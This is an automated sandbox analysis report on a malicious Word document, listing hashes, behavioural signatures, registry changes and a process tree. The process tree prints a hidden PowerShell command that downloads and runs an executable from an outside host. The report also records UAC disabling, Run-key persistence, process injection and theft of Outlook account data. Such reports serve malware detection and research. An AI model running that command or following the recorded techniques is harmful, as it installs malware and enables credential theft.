Analysis
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max time kernel
149s -
max time network
178s -
platform
windows7_x64 -
resource
win7-en-20210920 -
submitted
15-10-2021 10:45
Static task
static1
Behavioral task
behavioral1
Sample
img_Bestelling 0020211015.doc
Resource
win7-en-20210920
Behavioral task
behavioral2
Sample
img_Bestelling 0020211015.doc
Resource
win10-en-20211014
General
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Target
img_Bestelling 0020211015.doc
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Size
422KB
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MD5
115cb391afa5ed68f040ec69b00c84c1
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SHA1
319cea32abbb8ef0a55fff174dafdea4d3a7b0c7
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SHA256
2716bdd86f5e2a5364c1dd061a36270bf8eade4838e0e0e08677093bc0b8d910
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SHA512
077c977bd8e08579e9f2f85b7077dbe869b1ac0359d40d463b0a7dda28b0a297222e44386b62fff4b04367513286e8fe755352cca59d1c2ce78e306b310e7879
Malware Config
Extracted
httP://avira.ydns.eu/EXCEL.exe
Signatures
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Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exepowershell.exepowershell.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 1444 1340 powershell.exe WINWORD.EXE Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 1416 1340 powershell.exe WINWORD.EXE Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 960 1340 powershell.exe WINWORD.EXE -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
iexplore.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run iexplore.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0 = "C:\\Users\\Admin\\AppData\\Roaming\\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0.exe" iexplore.exe -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 6 1444 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 3 IoCs
Processes:
EXCEL.exeEXCEL.exeEXCEL.exepid process 1600 EXCEL.exe 1464 EXCEL.exe 1104 EXCEL.exe -
Loads dropped DLL 3 IoCs
Processes:
powershell.exeEXCEL.exepid process 1444 powershell.exe 1600 EXCEL.exe 1600 EXCEL.exe -
Processes:
EXCEL.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UACDisableNotify = "0" EXCEL.exe -
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
Processes:
iexplore.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts iexplore.exe -
Adds Run key to start application 2 TTPs 4 IoCs
Processes:
iexplore.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Windows\CurrentVersion\Run\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0 = "C:\\Users\\Admin\\AppData\\Roaming\\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0.exe" iexplore.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run iexplore.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0 = "C:\\Users\\Admin\\AppData\\Roaming\\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0.exe" iexplore.exe -
Processes:
EXCEL.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" EXCEL.exe -
Suspicious use of SetThreadContext 7 IoCs
Processes:
EXCEL.exeEXCEL.exeiexplore.exedescription pid process target process PID 1600 set thread context of 1104 1600 EXCEL.exe EXCEL.exe PID 1104 set thread context of 560 1104 EXCEL.exe iexplore.exe PID 560 set thread context of 1652 560 iexplore.exe iexplore.exe PID 560 set thread context of 1604 560 iexplore.exe iexplore.exe PID 560 set thread context of 1816 560 iexplore.exe iexplore.exe PID 560 set thread context of 1708 560 iexplore.exe iexplore.exe PID 560 set thread context of 1936 560 iexplore.exe iexplore.exe -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
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Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit" WINWORD.EXE -
Modifies registry class 64 IoCs
Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597} WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\"" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel" WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1340 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 17 IoCs
Processes:
powershell.exepowershell.exepowershell.exeEXCEL.exeEXCEL.exeiexplore.exepid process 1444 powershell.exe 1416 powershell.exe 960 powershell.exe 1444 powershell.exe 1444 powershell.exe 1600 EXCEL.exe 1600 EXCEL.exe 1600 EXCEL.exe 1600 EXCEL.exe 1600 EXCEL.exe 1600 EXCEL.exe 1600 EXCEL.exe 1104 EXCEL.exe 1104 EXCEL.exe 1104 EXCEL.exe 1104 EXCEL.exe 1816 iexplore.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
powershell.exepowershell.exepowershell.exeEXCEL.exeiexplore.exeiexplore.exedescription pid process Token: SeDebugPrivilege 1444 powershell.exe Token: SeDebugPrivilege 1416 powershell.exe Token: SeDebugPrivilege 960 powershell.exe Token: SeDebugPrivilege 1600 EXCEL.exe Token: SeDebugPrivilege 560 iexplore.exe Token: SeDebugPrivilege 1652 iexplore.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
Processes:
WINWORD.EXEEXCEL.exeiexplore.exepid process 1340 WINWORD.EXE 1340 WINWORD.EXE 1340 WINWORD.EXE 1340 WINWORD.EXE 1104 EXCEL.exe 560 iexplore.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
WINWORD.EXEpowershell.exeEXCEL.exeEXCEL.exeiexplore.exedescription pid process target process PID 1340 wrote to memory of 1444 1340 WINWORD.EXE powershell.exe PID 1340 wrote to memory of 1444 1340 WINWORD.EXE powershell.exe PID 1340 wrote to memory of 1444 1340 WINWORD.EXE powershell.exe PID 1340 wrote to memory of 1444 1340 WINWORD.EXE powershell.exe PID 1340 wrote to memory of 1416 1340 WINWORD.EXE powershell.exe PID 1340 wrote to memory of 1416 1340 WINWORD.EXE powershell.exe PID 1340 wrote to memory of 1416 1340 WINWORD.EXE powershell.exe PID 1340 wrote to memory of 1416 1340 WINWORD.EXE powershell.exe PID 1340 wrote to memory of 960 1340 WINWORD.EXE powershell.exe PID 1340 wrote to memory of 960 1340 WINWORD.EXE powershell.exe PID 1340 wrote to memory of 960 1340 WINWORD.EXE powershell.exe PID 1340 wrote to memory of 960 1340 WINWORD.EXE powershell.exe PID 1444 wrote to memory of 1600 1444 powershell.exe EXCEL.exe PID 1444 wrote to memory of 1600 1444 powershell.exe EXCEL.exe PID 1444 wrote to memory of 1600 1444 powershell.exe EXCEL.exe PID 1444 wrote to memory of 1600 1444 powershell.exe EXCEL.exe PID 1444 wrote to memory of 1600 1444 powershell.exe EXCEL.exe PID 1444 wrote to memory of 1600 1444 powershell.exe EXCEL.exe PID 1444 wrote to memory of 1600 1444 powershell.exe EXCEL.exe PID 1340 wrote to memory of 1764 1340 WINWORD.EXE splwow64.exe PID 1340 wrote to memory of 1764 1340 WINWORD.EXE splwow64.exe PID 1340 wrote to memory of 1764 1340 WINWORD.EXE splwow64.exe PID 1340 wrote to memory of 1764 1340 WINWORD.EXE splwow64.exe PID 1600 wrote to memory of 1464 1600 EXCEL.exe EXCEL.exe PID 1600 wrote to memory of 1464 1600 EXCEL.exe EXCEL.exe PID 1600 wrote to memory of 1464 1600 EXCEL.exe EXCEL.exe PID 1600 wrote to memory of 1464 1600 EXCEL.exe EXCEL.exe PID 1600 wrote to memory of 1464 1600 EXCEL.exe EXCEL.exe PID 1600 wrote to memory of 1464 1600 EXCEL.exe EXCEL.exe PID 1600 wrote to memory of 1464 1600 EXCEL.exe EXCEL.exe PID 1600 wrote to memory of 1104 1600 EXCEL.exe EXCEL.exe PID 1600 wrote to memory of 1104 1600 EXCEL.exe EXCEL.exe PID 1600 wrote to memory of 1104 1600 EXCEL.exe EXCEL.exe PID 1600 wrote to memory of 1104 1600 EXCEL.exe EXCEL.exe PID 1600 wrote to memory of 1104 1600 EXCEL.exe EXCEL.exe PID 1600 wrote to memory of 1104 1600 EXCEL.exe EXCEL.exe PID 1600 wrote to memory of 1104 1600 EXCEL.exe EXCEL.exe PID 1600 wrote to memory of 1104 1600 EXCEL.exe EXCEL.exe PID 1600 wrote to memory of 1104 1600 EXCEL.exe EXCEL.exe PID 1600 wrote to memory of 1104 1600 EXCEL.exe EXCEL.exe PID 1600 wrote to memory of 1104 1600 EXCEL.exe EXCEL.exe PID 1104 wrote to memory of 560 1104 EXCEL.exe iexplore.exe PID 1104 wrote to memory of 560 1104 EXCEL.exe iexplore.exe PID 1104 wrote to memory of 560 1104 EXCEL.exe iexplore.exe PID 1104 wrote to memory of 560 1104 EXCEL.exe iexplore.exe PID 1104 wrote to memory of 560 1104 EXCEL.exe iexplore.exe PID 1104 wrote to memory of 560 1104 EXCEL.exe iexplore.exe PID 1104 wrote to memory of 560 1104 EXCEL.exe iexplore.exe PID 1104 wrote to memory of 560 1104 EXCEL.exe iexplore.exe PID 1104 wrote to memory of 560 1104 EXCEL.exe iexplore.exe PID 560 wrote to memory of 1928 560 iexplore.exe notepad.exe PID 560 wrote to memory of 1928 560 iexplore.exe notepad.exe PID 560 wrote to memory of 1928 560 iexplore.exe notepad.exe PID 560 wrote to memory of 1928 560 iexplore.exe notepad.exe PID 560 wrote to memory of 1928 560 iexplore.exe notepad.exe PID 560 wrote to memory of 1652 560 iexplore.exe iexplore.exe PID 560 wrote to memory of 1652 560 iexplore.exe iexplore.exe PID 560 wrote to memory of 1652 560 iexplore.exe iexplore.exe PID 560 wrote to memory of 1652 560 iexplore.exe iexplore.exe PID 560 wrote to memory of 1652 560 iexplore.exe iexplore.exe PID 560 wrote to memory of 1652 560 iexplore.exe iexplore.exe PID 560 wrote to memory of 1652 560 iexplore.exe iexplore.exe PID 560 wrote to memory of 1652 560 iexplore.exe iexplore.exe PID 560 wrote to memory of 1652 560 iexplore.exe iexplore.exe -
System policy modification 1 TTPs 1 IoCs
Processes:
EXCEL.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" EXCEL.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\img_Bestelling 0020211015.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://avira.ydns.eu/EXCEL.exe','C:\Users\Admin\AppData\Roaming\EXCEL.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\EXCEL.exe'"2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\EXCEL.exe"C:\Users\Admin\AppData\Roaming\EXCEL.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\EXCEL.exeC:\Users\Admin\AppData\Local\Temp\EXCEL.exe4⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\Temp\EXCEL.exeC:\Users\Admin\AppData\Local\Temp\EXCEL.exe4⤵
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
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C:\Program Files (x86)\Internet Explorer\iexplore.exeC:\Users\Admin\AppData\Local\Temp\EXCEL.exe5⤵
- Adds policy Run key to start application
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\notepad.exenotepad.exe6⤵
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C:\Program Files (x86)\Internet Explorer\iexplore.exe/stext "C:\Users\Admin\AppData\Roaming\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\eseeuzmae0.txt"6⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Program Files (x86)\Internet Explorer\iexplore.exe/stext "C:\Users\Admin\AppData\Roaming\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\eseeuzmae1.txt"6⤵
- Accesses Microsoft Outlook accounts
